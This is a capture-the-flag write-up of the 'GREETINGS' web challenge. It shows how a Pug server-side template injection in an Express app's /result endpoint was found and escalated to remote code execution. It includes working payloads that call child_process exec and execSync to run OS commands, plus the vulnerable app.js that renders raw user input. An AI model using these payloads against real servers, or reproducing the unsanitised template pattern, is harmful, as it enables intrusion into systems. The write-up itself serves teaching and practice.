siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

GREETINGS

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Background

Welcome to our ctf! Hope you enjoy it! Have fun

Enumeration

Index page:

In here, we can submit a form with our name.

Let’s try to submit a dummy name and see what will happen:

Burp Suite HTTP history:

When we clicked the “Submit” button, it’ll send a GET request to /result with GET parameter username.

In the server’s response from Burp Suite, we can see there’s a response header called X-Powered-By, and its value is Express.

With that said, this web application is written in JavaScript with Node.js JavaScript runtime and Express.js web application framework.

Now, since our user input is being reflected on the response, we should think about why the application did this.

In modern days of web application, the HTML contents are dynamically generated. To achieve this, there’s a technology called “Server-side templating”.

A quick Google search about vulnerabilities in server-side templating, we’ll see a type of vulnerability called “Server-Side Template Injection”, or SSTI for short.

In HackTricks about SSTI’s tips and tricks, we’ll see how we can test for SSTI vulnerability and learn different template engine’s SSTI payloads.

After trying different Node.js based template engine’s SSTI payloads, we see that template engine PugJs works:

In PugJs, the template literal is #{}. In our case, we can try to make the server render the template #{7*7} to check if the server renders 49. ($ 7 * 7 = 49 $)

Nice! The server indeed rendered our template and returned 49!

Note: The %23 is URL encoded #. If we don’t URL encode it, the {7*7} part will not send to the server, because # is the URI fragment.

Exploitation

Armed with the above information, we can confirm that this web application is vulnerable to PugJs SSTI!

In HackTricks’s PugJs SSTI payload, we can achieve Remote Code Execution (RCE) via the following payload:

#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}

I won’t go into the details of this payload, but it basically loads the child_process Node.js module and uses function exec to execute OS commands.

However, if we send the request with the above payload, it won’t display the executed OS command result:

This is because the above payload is a function and it didn’t return anything.

To fix this, we can simply remove the function syntax and variable declaration:

#{global.process.mainModule.constructor._load("child_process").exec('id')}

Now send the new payload again:

This time it returned [object Object]!

Why? This is because the exec function is asynchronous.

To solve this, we can change the exec function to execSync, which is a synchronous function:

#{global.process.mainModule.constructor._load("child_process").execSync('id')}

Nice! Now we can find where’s the flag file path and read its content!

If you’re curious the implementation of this vulnerable web application, we can read the source code file app.js:

app.js:

const express = require('express');
const pug = require('pug');

const app = express();
const port = 8000;

app.set('view engine', 'pug');
app.set('views', './views');

app.get('/', (req, res) => {
    res.render('index');
});

app.get('/result', (req, res) => {
    // Get the username from the query string
    const username = req.query.username || 'Guest';

    // Vulnerable Implementation
    const templateString = `
doctype html
html(lang="en")
  head
    meta(charset="UTF-8")
    meta(name="viewport" content="width=device-width, initial-scale=1.0")
    title Result
    style.
      [...CSS stuff...]
  body
    .container
      h1 Welcome ${username}!
      p Give me a username and I will say hello to you.
    `;

    // Render the template without compiling
    const output = pug.render(templateString);

    // Send the rendered HTML as the response
    res.send(output);
});

app.listen(port, () => {
  console.log(`Server is running at http://localhost:${port}`);
});

As you can see, GET route (Endpoint) /result retrieves our username GET parameter’s value, and directly renders the username’s value without any sanitization whatsoever. Therefore, this route is vulnerable to PugJs SSTI.

Conclusion

What we’ve learned:

  1. PugJs Server-Side Template Injection (SSTI)